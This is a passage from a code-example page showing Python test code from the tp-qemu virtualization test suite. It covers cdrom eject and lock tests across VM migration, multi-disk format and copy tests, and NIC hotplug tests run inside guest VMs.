            error.context("Mounting the cdrom under %s" % mount_point,
                          logging.info)
            session.cmd(mount_cmd, timeout=30)
        error.context("File copying test", logging.info)
        session.cmd(copy_file_cmd)
        f1_hash = session.cmd(md5sum_cmd % dst_file).split()[0].strip()
        f2_hash = session.cmd(md5sum_cmd % src_file).split()[0].strip()
        if f1_hash != f2_hash:
            raise error.TestFail("On disk and on cdrom files are different, "
                                 "md5 mismatch")
        session.cmd(remove_file_cmd)
        error.context("Mount/Unmount cdrom for %s times" % max_times,
                      logging.info)
        for _ in range(1, max_times):
            try:
                session.cmd(umount_cmd)
                session.cmd(mount_cmd)
            except aexpect.ShellError, detail:
                logging.error("Mount/Unmount fail, detail: '%s'", detail)
                logging.debug(session.cmd(show_mount_cmd))
                raise
        if params["os_type"] != "windows":
            session.cmd("umount %s" % guest_cdrom_device)

    # Test main body start.
    class MiniSubtest(object):

        def __new__(cls, *args, **kargs):
            self = super(MiniSubtest, cls).__new__(cls)
            ret = None
            exc_info = None
            if args is None:
                args = []
            try:
                try:
                    ret = self.test(*args, **kargs)
                except Exception:
                    exc_info = sys.exc_info()
            finally:
                if hasattr(self, "clean"):
                    try:
                        self.clean()
                    except Exception:
                        if exc_info is None:
                            raise
                    if exc_info:
                        raise exc_info[0], exc_info[1], exc_info[2]
            return ret

    class test_singlehost(MiniSubtest):

        def test(self):
            self.iso_image_orig = create_iso_image(params, "orig")
            self.iso_image_new = create_iso_image(params, "new")
            self.cdrom_dir = os.path.dirname(self.iso_image_new)
            if params.get("not_insert_at_start") == "yes":
                target_cdrom = params["target_cdrom"]
                params[target_cdrom] = ""
            params["start_vm"] = "yes"
            serial_num = generate_serial_num()
            cdrom = params.get("cdroms", "").split()[-1]
            params["drive_serial_%s" % cdrom] = serial_num
            env_process.preprocess_vm(test, params, env, params["main_vm"])
            vm = env.get_vm(params["main_vm"])

            self.session = vm.wait_for_login(timeout=login_timeout)
            pre_cmd = params.get("pre_cmd")
            if pre_cmd:
                self.session.cmd(pre_cmd, timeout=120)
                self.session = vm.reboot()
            iso_image = self.iso_image_orig
            error.context("Query cdrom devices in guest")
            cdrom_dev_list = list_guest_cdroms(self.session)
            logging.debug("cdrom_dev_list: '%s'", cdrom_dev_list)

            if params.get('not_insert_at_start') == "yes":
                error.context("Locked without media present", logging.info)
                # XXX: The device got from monitor might not match with the guest
                # defice if there are multiple cdrom devices.
                qemu_cdrom_device = get_empty_cdrom_device(vm)
                guest_cdrom_device = get_testing_cdrom_device(vm,
                                                              self.session,
                                                              cdrom_dev_list,
                                                              serial_num)
                if vm.check_block_locked(qemu_cdrom_device):
                    raise error.TestFail("Device should not be locked just"
                                         " after booting up")
                cmd = params["lock_cdrom_cmd"] % guest_cdrom_device
                self.session.cmd(cmd)
                if not vm.check_block_locked(qemu_cdrom_device):
                    raise error.TestFail("Device is not locked as expect.")
                return

            error.context("Detecting the existence of a cdrom (guest OS side)",
                          logging.info)
            cdrom_dev_list = list_guest_cdroms(self.session)
            guest_cdrom_device = get_testing_cdrom_device(vm,
                                                          self.session,
                                                          cdrom_dev_list,
                                                          serial_num)
            error.context("Detecting the existence of a cdrom (qemu side)",
                          logging.info)
            qemu_cdrom_device = get_device(vm, iso_image)
            if params["os_type"] != "windows":
                self.session.get_command_output("umount %s" % guest_cdrom_device)
            if params.get('cdrom_test_autounlock') == 'yes':
                error.context("Trying to unlock the cdrom", logging.info)
                if not utils_misc.wait_for(lambda: not
                                           vm.check_block_locked(qemu_cdrom_device),
                                           300):
                    raise error.TestFail("Device %s could not be"
                                         " unlocked" % (qemu_cdrom_device))

            max_test_times = int(params.get("cdrom_max_test_times", 100))
            if params.get("cdrom_test_eject") == "yes":
                eject_test_via_monitor(vm, qemu_cdrom_device,
                                       guest_cdrom_device, self.iso_image_orig,
                                       self.iso_image_new, max_test_times)

            if params.get('cdrom_test_tray_status') == 'yes':
                check_tray_status_test(vm, qemu_cdrom_device,
                                       guest_cdrom_device, max_test_times,
                                       self.iso_image_new)

            if params.get('cdrom_test_locked') == 'yes':
                check_tray_locked_test(vm, qemu_cdrom_device,
                                       guest_cdrom_device)

            error.context("Check whether the cdrom is read-only", logging.info)
            cmd = params["readonly_test_cmd"] % guest_cdrom_device
            try:
                self.session.cmd(cmd)
                raise error.TestFail("Attempt to format cdrom %s succeeded" %
                                     (guest_cdrom_device))
            except aexpect.ShellError:
                pass

            sub_test = params.get("sub_test")
            if sub_test:
                error.context("Run sub test '%s' before doing file"
                              " operation" % sub_test, logging.info)
                utils_test.run_virt_sub_test(test, params, env, sub_test)

            if params.get("cdrom_test_file_operation") == "yes":
                file_operation_test(self.session, guest_cdrom_device,
                                    max_test_times)

            error.context("Cleanup")
            # Return the self.iso_image_orig
            cdfile = get_cdrom_file(vm, qemu_cdrom_device)
            if cdfile != self.iso_image_orig:
                time.sleep(workaround_eject_time)
                self.session.cmd(params["eject_cdrom_cmd"] %
                                 guest_cdrom_device)
                vm.eject_cdrom(qemu_cdrom_device)
                if get_cdrom_file(vm, qemu_cdrom_device) is not None:
                    raise error.TestFail("Device %s was not ejected"
                                         " in clearup stage" % qemu_cdrom_device)

                vm.change_media(qemu_cdrom_device, self.iso_image_orig)
                if get_cdrom_file(vm, qemu_cdrom_device) != self.iso_image_orig:
                    raise error.TestFail("It wasn't possible to change"
                                         " cdrom %s" % iso_image)
            post_cmd = params.get("post_cmd")
            if post_cmd:
                self.session.cmd(post_cmd)
            if params.get("guest_suspend_type"):
                self.session = vm.reboot()

        def clean(self):
            self.session.close()
            cleanup_cdrom(self.iso_image_orig)
            cleanup_cdrom(self.iso_image_new)

    class Multihost(MiniSubtest):

        def test(self):
            error.context("Preparing migration env and cdroms.", logging.info)
            mig_protocol = params.get("mig_protocol", "tcp")
            self.mig_type = migration.MultihostMigration
            if mig_protocol == "fd":
                self.mig_type = migration.MultihostMigrationFd
            if mig_protocol == "exec":
                self.mig_type = migration.MultihostMigrationExec
            if "rdma" in mig_protocol:
                self.mig_type = migration.MultihostMigrationRdma

            self.vms = params.get("vms").split(" ")
            self.srchost = params.get("hosts")[0]
            self.dsthost = params.get("hosts")[1]
            self.is_src = params.get("hostid") == self.srchost
            self.mig = self.mig_type(test, params, env, False, )
            self.cdrom_size = int(params.get("cdrom_size", 10))
            cdrom = params.objects("cdroms")[-1]
            self.serial_num = params.get("drive_serial_%s" % cdrom)

            if self.is_src:
                self.cdrom_orig = create_iso_image(params, "orig",
                                                   file_size=self.cdrom_size)
                self.cdrom_dir = os.path.dirname(self.cdrom_orig)
                vm = env.get_vm(self.vms[0])
                vm.destroy()
                params["start_vm"] = "yes"
                env_process.process(test, params, env,
                                    env_process.preprocess_image,
                                    env_process.preprocess_vm)
                vm = env.get_vm(self.vms[0])
                vm.wait_for_login(timeout=login_timeout)
            else:
                self.cdrom_orig = create_iso_image(params, "orig", False)
                self.cdrom_dir = os.path.dirname(self.cdrom_orig)

        def clean(self):
            self.mig.cleanup()
            if self.is_src:
                cleanup_cdrom(self.cdrom_orig)

    class test_multihost_locking(Multihost):

        def test(self):
            super(test_multihost_locking, self).test()

            error.context("Lock cdrom in VM.", logging.info)
            # Starts in source
            if self.is_src:
                vm = env.get_vm(params["main_vm"])
                session = vm.wait_for_login(timeout=login_timeout)
                cdrom_dev_list = list_guest_cdroms(session)
                guest_cdrom_device = get_testing_cdrom_device(vm,
                                                              session,
                                                              cdrom_dev_list,
                                                              self.serial_num)
                logging.debug("cdrom_dev_list: %s", cdrom_dev_list)
                device = get_device(vm, self.cdrom_orig)

                session.cmd(params["lock_cdrom_cmd"] % guest_cdrom_device)
                locked = check_cdrom_lock(vm, device)
                if locked:
                    logging.debug("Cdrom device is successfully locked in VM.")
                else:
                    raise error.TestFail("Cdrom device should be locked"
                                         " in VM.")

            self.mig._hosts_barrier(self.mig.hosts, self.mig.hosts,
                                    'cdrom_dev', cdrom_prepare_timeout)

            self.mig.migrate_wait([self.vms[0]], self.srchost, self.dsthost)

            # Starts in dest
            if not self.is_src:
                vm = env.get_vm(params["main_vm"])
                session = vm.wait_for_login(timeout=login_timeout)
                cdrom_dev_list = list_guest_cdroms(session)
                logging.debug("cdrom_dev_list: %s", cdrom_dev_list)
                device = get_device(vm, self.cdrom_orig)

                locked = check_cdrom_lock(vm, device)
                if locked:
                    logging.debug("Cdrom device stayed locked after "
                                  "migration in VM.")
                else:
                    raise error.TestFail("Cdrom device should stayed locked"
                                         " after migration in VM.")

                error.context("Unlock cdrom from VM.", logging.info)
                cdrom_dev_list = list_guest_cdroms(session)
                guest_cdrom_device = get_testing_cdrom_device(vm,
                                                              session,
                                                              cdrom_dev_list,
                                                              self.serial_num)
                session.cmd(params["unlock_cdrom_cmd"] % guest_cdrom_device)
                locked = check_cdrom_lock(vm, device)
                if not locked:
                    logging.debug("Cdrom device is successfully unlocked"
                                  " from VM.")
                else:
                    raise error.TestFail("Cdrom device should be unlocked"
                                         " in VM.")

            self.mig.migrate_wait([self.vms[0]], self.dsthost, self.srchost)

            if self.is_src:
                vm = env.get_vm(params["main_vm"])
                locked = check_cdrom_lock(vm, device)
                if not locked:
                    logging.debug("Cdrom device stayed unlocked after "
                                  "migration in VM.")
                else:
                    raise error.TestFail("Cdrom device should stayed unlocked"
                                         " after migration in VM.")

            self.mig._hosts_barrier(self.mig.hosts, self.mig.hosts,
                                    'Finish_cdrom_test', login_timeout)

        def clean(self):
            super(test_multihost_locking, self).clean()

    class test_multihost_ejecting(Multihost):

        def test(self):
            super(test_multihost_ejecting, self).test()

            self.cdrom_new = create_iso_image(params, "new")

            if not self.is_src:
                self.cdrom_new = create_iso_image(params, "new", False)
                self.cdrom_dir = os.path.dirname(self.cdrom_new)
                params["cdrom_cd1"] = params.get("cdrom_cd1_host2")

            if self.is_src:
                vm = env.get_vm(self.vms[0])
                session = vm.wait_for_login(timeout=login_timeout)
                cdrom_dev_list = list_guest_cdroms(session)
                logging.debug("cdrom_dev_list: %s", cdrom_dev_list)
                device = get_device(vm, self.cdrom_orig)
                cdrom = get_testing_cdrom_device(vm,
                                                 session,
                                                 cdrom_dev_list,
                                                 self.serial_num)

                error.context("Eject cdrom.", logging.info)
                session.cmd(params["eject_cdrom_cmd"] % cdrom)
                vm.eject_cdrom(device)
                time.sleep(2)
                if get_cdrom_file(vm, device) is not None:
                    raise error.TestFail("Device %s was not ejected" % (cdrom))

                cdrom = self.cdrom_new

                error.context("Change cdrom.", logging.info)
                vm.change_media(device, cdrom)
                if get_cdrom_file(vm, device) != cdrom:
                    raise error.TestFail("It wasn't possible to change "
                                         "cdrom %s" % (cdrom))
                time.sleep(workaround_eject_time)

            self.mig._hosts_barrier(self.mig.hosts, self.mig.hosts,
                                    'cdrom_dev', cdrom_prepare_timeout)

            self.mig.migrate_wait([self.vms[0]], self.srchost, self.dsthost)

            if not self.is_src:
                vm = env.get_vm(self.vms[0])
                vm.reboot()

        def clean(self):
            if self.is_src:
                cleanup_cdrom(self.cdrom_new)
            super(test_multihost_ejecting, self).clean()

    class test_multihost_copy(Multihost):

        def test(self):
            super(test_multihost_copy, self).test()
            copy_timeout = int(params.get("copy_timeout", 480))
            checksum_timeout = int(params.get("checksum_timeout", 180))

            pid = None
            sync_id = {'src': self.srchost,
                       'dst': self.dsthost,
                       "type": "file_trasfer"}
            filename = "orig"
            remove_file_cmd = params["remove_file_cmd"] % filename
            dst_file = params["dst_file"] % filename

            if self.is_src:  # Starts in source
                vm = env.get_vm(self.vms[0])
                vm.monitor.migrate_set_speed("1G")
                session = vm.wait_for_login(timeout=login_timeout)
                cdrom_dev_list = list_guest_cdroms(session)
                logging.debug("cdrom_dev_list: %s", cdrom_dev_list)
                cdrom = get_testing_cdrom_device(vm,
                                                 session,
                                                 cdrom_dev_list,
                                                 self.serial_num)
                mount_point = get_cdrom_mount_point(session, cdrom, params)
                mount_cmd = params["mount_cdrom_cmd"] % (cdrom, mount_point)
                src_file = params["src_file"] % (mount_point, filename)
                copy_file_cmd = params[
                    "copy_file_cmd"] % (mount_point, filename)
                if params["os_type"] != "windows":
                    error.context("Mount and copy data", logging.info)
                    session.cmd(mount_cmd, timeout=30)

                error.context("File copying test", logging.info)
                session.cmd(remove_file_cmd)
                session.cmd(copy_file_cmd)

                pid = disk_copy(vm, src_file, dst_file, copy_timeout)

            sync = SyncData(self.mig.master_id(), self.mig.hostid,
                            self.mig.hosts, sync_id, self.mig.sync_server)

            pid = sync.sync(pid, timeout=cdrom_prepare_timeout)[self.srchost]

            self.mig.migrate_wait([self.vms[0]], self.srchost, self.dsthost)

            if not self.is_src:  # Starts in source
                vm = env.get_vm(self.vms[0])
                session = vm.wait_for_login(timeout=login_timeout)
                error.context("Wait for copy finishing.", logging.info)
                cdrom_dev_list = list_guest_cdroms(session)
                cdrom = get_testing_cdrom_device(vm,
                                                 session,
                                                 cdrom_dev_list,
                                                 self.serial_num)
                mount_point = get_cdrom_mount_point(session, cdrom, params)
                mount_cmd = params["mount_cdrom_cmd"] % (cdrom, mount_point)
                src_file = params["src_file"] % (mount_point, filename)
                md5sum_cmd = params["md5sum_cmd"]

                def is_copy_done():
                    if params["os_type"] == "windows":
                        cmd = "tasklist /FI \"PID eq %s\"" % pid
                    else:
                        cmd = "ps -p %s" % pid
                    return session.cmd_status(cmd) != 0

                if not utils_misc.wait_for(is_copy_done, timeout=copy_timeout):
                    raise error.TestFail("Wait for file copy finish timeout")

                error.context("Compare file on disk and on cdrom", logging.info)
                f1_hash = session.cmd(md5sum_cmd % dst_file,
                                      timeout=checksum_timeout).split()[0]
                f2_hash = session.cmd(md5sum_cmd % src_file,
                                      timeout=checksum_timeout).split()[0]
                if f1_hash.strip() != f2_hash.strip():
                    raise error.TestFail("On disk and on cdrom files are"
                                         " different, md5 mismatch")
                session.cmd(remove_file_cmd)

            self.mig._hosts_barrier(self.mig.hosts, self.mig.hosts,
                                    'Finish_cdrom_test', login_timeout)

        def clean(self):
            super(test_multihost_copy, self).clean()

    test_type = params.get("test_type", "test_singlehost")
    if (test_type in locals()):
        tests_group = locals()[test_type]
        tests_group()
    else:
        raise error.TestFail("Test group '%s' is not defined in"
                             " migration_with_dst_problem test" % test_type)

Example 48

Project: tp-qemu
Source File: multi_disk.py
View license
@error.context_aware
def run(test, params, env):
    """
    Test multi disk suport of guest, this case will:
    1) Create disks image in configuration file.
    2) Start the guest with those disks.
    3) Checks qtree vs. test params. (Optional)
    4) Create partition on those disks.
    5) Get disk dev filenames in guest.
    6) Format those disks in guest.
    7) Copy file into / out of those disks.
    8) Compare the original file and the copied file using md5 or fc comand.
    9) Repeat steps 3-5 if needed.

    :param test: QEMU test object
    :param params: Dictionary with the test parameters
    :param env: Dictionary with test environment.
    """
    def _add_param(name, value):
        """ Converts name+value to stg_params string """
        if value:
            value = re.sub(' ', '\\ ', value)
            return " %s:%s " % (name, value)
        else:
            return ''

    def _do_post_cmd(session):
        cmd = params.get("post_cmd")
        if cmd:
            session.cmd_status_output(cmd)
        session.close()

    def _get_disk_index(session, image_size, disk_indexs):
        list_disk_cmd = "echo list disk > disk && "
        list_disk_cmd += "echo exit >> disk && diskpart /s disk"
        disks = session.cmd_output(list_disk_cmd)
        size_type = image_size[-1] + "B"
        disk_size = ""

        if size_type == "MB":
            disk_size = image_size[:-1] + " MB"
        elif size_type == "GB" and int(image_size[:-1]) < 8:
            disk_size = str(int(image_size[:-1])*1024) + " MB"
        else:
            disk_size = image_size[:-1] + " GB"

        regex_str = 'Disk (\d+).*?%s.*?%s' % (disk_size, disk_size)
        for disk in disks.splitlines():
            if disk.startswith("  Disk"):
                o = re.findall(regex_str, disk, re.I | re.M)
                if o:
                    disk_indexs.append(o[0])

    error.context("Parsing test configuration", logging.info)
    stg_image_num = 0
    stg_params = params.get("stg_params", "")
    # Compatibility
    stg_params += _add_param("image_size", params.get("stg_image_size"))
    stg_params += _add_param("image_format", params.get("stg_image_format"))
    stg_params += _add_param("image_boot", params.get("stg_image_boot", "no"))
    stg_params += _add_param("drive_format", params.get("stg_drive_format"))
    stg_params += _add_param("drive_cache", params.get("stg_drive_cache"))
    if params.get("stg_assign_index") != "no":
        # Assume 0 and 1 are already occupied (hd0 and cdrom)
        stg_params += _add_param("drive_index", 'range(2,n)')
    param_matrix = {}

    stg_params = stg_params.split(' ')
    i = 0
    while i < len(stg_params) - 1:
        if not stg_params[i].strip():
            i += 1
            continue
        if stg_params[i][-1] == '\\':
            stg_params[i] = '%s %s' % (stg_params[i][:-1],
                                       stg_params.pop(i + 1))
        i += 1

    rerange = []
    has_name = False
    for i in xrange(len(stg_params)):
        if not stg_params[i].strip():
            continue
        (cmd, parm) = stg_params[i].split(':', 1)
        if cmd == "image_name":
            has_name = True
        if _RE_RANGE1.match(parm):
            parm = _range(parm)
            if parm is False:
                raise error.TestError("Incorrect cfg: stg_params %s looks "
                                      "like range(..) but doesn't contain "
                                      "numbers." % cmd)
            param_matrix[cmd] = parm
            if type(parm) is str:
                # When we know the stg_image_num, substitute it.
                rerange.append(cmd)
                continue
        else:
            # ',' separated list of values
            parm = parm.split(',')
            j = 0
            while j < len(parm) - 1:
                if parm[j][-1] == '\\':
                    parm[j] = '%s,%s' % (parm[j][:-1], parm.pop(j + 1))
                j += 1
            param_matrix[cmd] = parm
        stg_image_num = max(stg_image_num, len(parm))

    stg_image_num = int(params.get('stg_image_num', stg_image_num))
    for cmd in rerange:
        param_matrix[cmd] = _range(param_matrix[cmd], stg_image_num)
    # param_table* are for pretty print of param_matrix
    param_table = []
    param_table_header = ['name']
    if not has_name:
        param_table_header.append('image_name')
    for _ in param_matrix:
        param_table_header.append(_)

    stg_image_name = params.get('stg_image_name', 'images/%s')
    for i in xrange(stg_image_num):
        name = "stg%d" % i
        params['images'] += " %s" % name
        param_table.append([])
        param_table[-1].append(name)
        if not has_name:
            params["image_name_%s" % name] = stg_image_name % name
            param_table[-1].append(params.get("image_name_%s" % name))
        for parm in param_matrix.iteritems():
            params['%s_%s' % (parm[0], name)] = str(parm[1][i % len(parm[1])])
            param_table[-1].append(params.get('%s_%s' % (parm[0], name)))

    if params.get("multi_disk_params_only") == 'yes':
        # Only print the test param_matrix and finish
        logging.info('Newly added disks:\n%s',
                     utils.matrix_to_string(param_table, param_table_header))
        return

    # Always recreate VMs and disks
    error.context("Start the guest with new disks", logging.info)
    for vm_name in params.objects("vms"):
        vm_params = params.object_params(vm_name)
        env_process.process_images(env_process.preprocess_image, test,
                                   vm_params)

    error.context("Start the guest with those disks", logging.info)
    vm = env.get_vm(params["main_vm"])
    vm.create(timeout=max(10, stg_image_num), params=params)
    session = vm.wait_for_login(timeout=int(params.get("login_timeout", 360)))

    n_repeat = int(params.get("n_repeat", "1"))
    file_system = [_.strip() for _ in params.get("file_system").split()]
    cmd_timeout = float(params.get("cmd_timeout", 360))
    re_str = params["re_str"]
    black_list = params["black_list"].split()
    stg_image_size = params.get("stg_image_size")
    disk_indexs = []

    have_qtree = True
    out = vm.monitor.human_monitor_cmd("info qtree", debug=False)
    if "unknown command" in str(out):
        have_qtree = False

    if (params.get("check_guest_proc_scsi") == "yes") and have_qtree:
        error.context("Verifying qtree vs. test params")
        err = 0
        qtree = qemu_qtree.QtreeContainer()
        qtree.parse_info_qtree(vm.monitor.info('qtree'))
        disks = qemu_qtree.QtreeDisksContainer(qtree.get_nodes())
        (tmp1, tmp2) = disks.parse_info_block(vm.monitor.info_block())
        err += tmp1 + tmp2
        err += disks.generate_params()
        err += disks.check_disk_params(params)
        (tmp1, tmp2, _, _) = disks.check_guests_proc_scsi(
            session.cmd_output('cat /proc/scsi/scsi'))
        err += tmp1 + tmp2

        if err:
            raise error.TestFail("%s errors occurred while verifying"
                                 " qtree vs. params" % err)
        if params.get('multi_disk_only_qtree') == 'yes':
            return

    try:
        cmd = params.get("clean_cmd")
        if cmd:
            session.cmd_status_output(cmd)

        if params.get("os_type") == "windows":
            error.context("Create partition on those disks", logging.info)
            # Get the disk index
            _get_disk_index(session, stg_image_size, disk_indexs)
            if len(disk_indexs) < stg_image_num:
                err_msg = "Set disks num: %d" % stg_image_num
                err_msg += ", Get disks num in guest: %d" % len(disk_indexs)
                raise error.TestFail("Fail to list all the volumes, %s" % err_msg)

            # Random select one file system from file_system
            index = random.randint(0, (len(file_system) - 1))
            fs_type = file_system[index].strip()
            for i in xrange(stg_image_num):
                utils_misc.format_windows_disk(session, disk_indexs[i], None,
                                               None, fs_type)

        error.context("Get disks dev filenames in guest", logging.info)
        cmd = params["list_volume_command"]
        s, output = session.cmd_status_output(cmd, timeout=cmd_timeout)
        if s != 0:
            raise error.TestFail("List volume command failed with cmd '%s'.\n"
                                 "Output is: %s\n" % (cmd, output))

        output = session.cmd_output(cmd, timeout=cmd_timeout)
        disks = re.findall(re_str, output)
        disks = map(string.strip, disks)
        disks.sort()
        logging.debug("Volume list that meet regular expressions: %s",
                      " ".join(disks))

        images = params.get("images").split()
        if len(disks) < len(images):
            logging.debug("disks: %s , images: %s", len(disks), len(images))
            raise error.TestFail("Fail to list all the volumes!")

        if params.get("os_type") == "linux":
            output = session.cmd_output("mount")
            li = re.findall(r"^/dev/(%s)\d*" % re_str, output, re.M)
            if li:
                black_list.extend(li)
        else:
            black_list.extend(utils_misc.get_winutils_vol(session))
        disks = set(disks)
        black_list = set(black_list)
        logging.info("No need to check volume '%s'", (disks & black_list))
        disks = disks - black_list
    except Exception:
        _do_post_cmd(session)
        raise

    try:
        for i in range(n_repeat):
            logging.info("iterations: %s", (i + 1))
            error.context("Format those disks in guest", logging.info)
            for disk in disks:
                disk = disk.strip()
                error.context("Preparing disk: %s..." % disk)

                # Random select one file system from file_system
                index = random.randint(0, (len(file_system) - 1))
                fs = file_system[index].strip()
                cmd = params["format_command"] % (fs, disk)
                error.context("formatting test disk")
                session.cmd(cmd, timeout=cmd_timeout)
                cmd = params.get("mount_command")
                if cmd:
                    cmd = cmd % (disk, disk, disk)
                    session.cmd(cmd)

            error.context("Cope file into / out of those disks", logging.info)
            for disk in disks:
                disk = disk.strip()

                error.context("Performing I/O on disk: %s..." % disk)
                cmd_list = params["cmd_list"].split()
                for cmd_l in cmd_list:
                    cmd = params.get(cmd_l)
                    if cmd:
                        session.cmd(cmd % disk, timeout=cmd_timeout)

                cmd = params["compare_command"]
                key_word = params["check_result_key_word"]
                output = session.cmd_output(cmd)
                if key_word not in output:
                    raise error.TestFail("Files on guest os root fs and disk "
                                         "differ")

            if params.get("umount_command"):
                cmd = params.get("show_mount_cmd")
                output = session.cmd_output(cmd)
                disks = re.findall(re_str, output)
                disks.sort()
                for disk in disks:
                    disk = disk.strip()
                    error.context("Unmounting disk: %s..." % disk)
                    cmd = params.get("umount_command") % (disk, disk)
                    session.cmd(cmd)
    finally:
        cmd = params.get("show_mount_cmd")
        if cmd:
            try:
                output = session.cmd_output(cmd)
                disks = re.findall(re_str, output)
                disks.sort()
                for disk in disks:
                    error.context("Unmounting disk: %s..." % disk)
                    cmd = params["umount_command"] % (disk, disk)
                    session.cmd(cmd)
            except Exception, err:
                logging.warn("Get error when cleanup, '%s'", err)

        _do_post_cmd(session)

Example 49

Project: tp-qemu
Source File: nic_hotplug.py
View license
@error.context_aware
def run(test, params, env):
    """
    Test hotplug of NIC devices

    1) Boot up guest with one or multi nics
    2) Add multi host network devices through monitor cmd and
       check if they are added
    3) Add multi nic devices through monitor cmd and check if they are added
    4) Check if new interface gets ip address
    5) Disable primary link of guest
    6) Ping guest new ip from host
    7) Delete nic device and netdev if user config "do_random_unhotplug"
    8) Ping guest's new ip address after guest pause/resume
    9) Re-enable primary link of guest and hotunplug the plug nics

    BEWARE OF THE NETWORK BRIDGE DEVICE USED FOR THIS TEST ("nettype=bridge"
    and "netdst=<bridgename>" param).  The virt-test default bridge virbr0,
    leveraging libvirt, works fine for the purpose of this test. When using
    other bridges, the timeouts which usually happen when the bridge
    topology changes (that is, devices get added and removed) may cause random
    failures.

    :param test:   QEMU test object.
    :param params: Dictionary with the test parameters.
    :param env:    Dictionary with test environment.
    """
    def renew_ip_address(session, mac, is_linux_guest=True):
        if not is_linux_guest:
            utils_net.restart_windows_guest_network_by_key(session,
                                                           "macaddress",
                                                           mac)
            return None
        ifname = utils_net.get_linux_ifname(session, mac)
        p_cfg = "/etc/sysconfig/network-scripts/ifcfg-%s" % ifname
        cfg_con = "DEVICE=%s\nBOOTPROTO=dhcp\nONBOOT=yes" % ifname
        make_conf = "test -f %s || echo '%s' > %s" % (p_cfg, cfg_con, p_cfg)
        arp_clean = "arp -n|awk '/^[1-9]/{print \"arp -d \" $1}'|sh"
        session.cmd_output_safe(make_conf)
        session.cmd_output_safe("ifconfig %s up" % ifname)
        session.cmd_output_safe("dhclient -r", timeout=240)
        session.cmd_output_safe("dhclient %s" % ifname, timeout=240)
        session.cmd_output_safe(arp_clean)
        return None

    def get_hotplug_nic_ip(vm, nic, session, is_linux_guest=True):
        def __get_address():
            try:
                return vm.wait_for_get_address(nic["nic_name"], timeout=90)
            except (virt_vm.VMIPAddressMissingError,
                    virt_vm.VMAddressVerificationError):
                renew_ip_address(session, nic["mac"], is_linux_guest)
            return

        nic_ip = utils_misc.wait_for(__get_address, timeout=360)
        if nic_ip:
            return nic_ip
        cached_ip = vm.address_cache.get(nic["mac"])
        arps = utils.system_output("arp -aen")
        logging.debug("Can't get IP address:")
        logging.debug("\tCached IP: %s" % cached_ip)
        logging.debug("\tARP table: %s" % arps)
        return None

    def ping_hotplug_nic(ip, mac, session, is_linux_guest):
        status, output = utils_test.ping(ip, 10, timeout=30)
        if status != 0:
            if not is_linux_guest:
                return status, output
            ifname = utils_net.get_linux_ifname(session, mac)
            add_route_cmd = "route add %s dev %s" % (ip, ifname)
            del_route_cmd = "route del %s dev %s" % (ip, ifname)
            logging.warn("Failed to ping %s from host.")
            logging.info("Add route and try again")
            session.cmd_output_safe(add_route_cmd)
            status, output = utils_test.ping(hotnic_ip, 10, timeout=30)
            logging.info("Del the route.")
            status, output = session.cmd_output_safe(del_route_cmd)
        return status, output

    login_timeout = int(params.get("login_timeout", 360))
    vm = env.get_vm(params["main_vm"])
    vm.verify_alive()
    primary_nic = [nic for nic in vm.virtnet]
    guest_is_linux = ("linux" == params.get("os_type", ""))
    host_ip_addr = utils_net.get_host_ip_address(params)
    if guest_is_linux:
        # Modprobe the module if specified in config file
        module = params.get("modprobe_module")
        if module:
            s_session = vm.wait_for_serial_login(timeout=login_timeout)
            s_session.cmd_output_safe("modprobe %s" % module)
            s_session.close()
    nic_hotplug_count = int(params.get("nic_hotplug_count", 1))
    nic_hotplugged = []
    try:
        for nic_index in xrange(1, nic_hotplug_count + 1):
            # need to reconnect serial port after
            # guest reboot for windows guest
            s_session = vm.wait_for_serial_login(timeout=login_timeout)
            nic_name = "hotplug_nic%s" % nic_index
            nic_params = params.object_params(nic_name)
            nic_model = nic_params["pci_model"]
            nic_params["nic_model"] = nic_model
            nic_params["nic_name"] = nic_name

            error.context("Disable other link(s) of guest", logging.info)
            disable_nic_list = primary_nic + nic_hotplugged
            for nic in disable_nic_list:
                if guest_is_linux:
                    ifname = utils_net.get_linux_ifname(s_session, nic["mac"])
                    s_session.cmd_output_safe("ifconfig %s 0.0.0.0" % ifname)
                else:
                    s_session.cmd_output_safe("ipconfig /release all")
                vm.set_link(nic.device_id, up=False)

            error.context("Hotplug %sth '%s' nic named '%s'" % (nic_index,
                                                                nic_model,
                                                                nic_name))
            hotplug_nic = vm.hotplug_nic(**nic_params)
            error.context("Check if new interface gets ip address",
                          logging.info)
            hotnic_ip = get_hotplug_nic_ip(
                vm,
                hotplug_nic,
                s_session,
                guest_is_linux)
            if not hotnic_ip:
                raise error.TestFail("Hotplug nic can get ip address")
            logging.info("Got the ip address of new nic: %s", hotnic_ip)

            error.context("Ping guest's new ip from host", logging.info)
            status, output = ping_hotplug_nic(host_ip_addr, hotplug_nic["mac"],
                                              s_session, guest_is_linux)
            if status:
                err_msg = "New nic failed ping test, error info: '%s'"
                raise error.TestFail(err_msg % output)

            error.context("Reboot vm after hotplug nic", logging.info)
            # reboot vm via serial port since some guest can't auto up
            # hotplug nic and next step will check is hotplug nic works.
            s_session = vm.reboot(session=s_session, serial=True)
            vm.verify_alive()
            hotnic_ip = get_hotplug_nic_ip(
                vm,
                hotplug_nic,
                s_session,
                guest_is_linux)
            if not hotnic_ip:
                raise error.TestFail(
                    "Hotplug nic can't get ip after reboot vm")

            error.context("Ping guest's new ip from host", logging.info)
            status, output = ping_hotplug_nic(host_ip_addr, hotplug_nic["mac"],
                                              s_session, guest_is_linux)
            if status:
                err_msg = "New nic failed ping test, error info: '%s'"
                raise error.TestFail(err_msg % output)

            error.context("Pause vm", logging.info)
            vm.monitor.cmd("stop")
            vm.verify_status("paused")
            error.context("Resume vm", logging.info)
            vm.monitor.cmd("cont")
            vm.verify_status("running")
            error.context("Ping guest's new ip after resume", logging.info)
            status, output = ping_hotplug_nic(host_ip_addr, hotplug_nic["mac"],
                                              s_session, guest_is_linux)
            if status:
                err_msg = "New nic failed ping test after stop/cont, "
                err_msg += "error info: '%s'" % output
                raise error.TestFail(err_msg)

            # random hotunplug nic
            nic_hotplugged.append(hotplug_nic)
            if random.randint(0, 1) and params.get("do_random_unhotplug"):
                error.context("Detaching the previously attached nic from vm",
                              logging.info)
                unplug_nic_index = random.randint(0, len(nic_hotplugged) - 1)
                vm.hotunplug_nic(nic_hotplugged[unplug_nic_index].nic_name)
                nic_hotplugged.pop(unplug_nic_index)
                s_session = vm.reboot(session=s_session, serial=True)
                vm.verify_alive()
            s_session.close()
    finally:
        for nic in nic_hotplugged:
            vm.hotunplug_nic(nic.nic_name)
        error.context("Re-enabling the primary link(s)", logging.info)
        for nic in primary_nic:
            vm.set_link(nic.device_id, up=True)
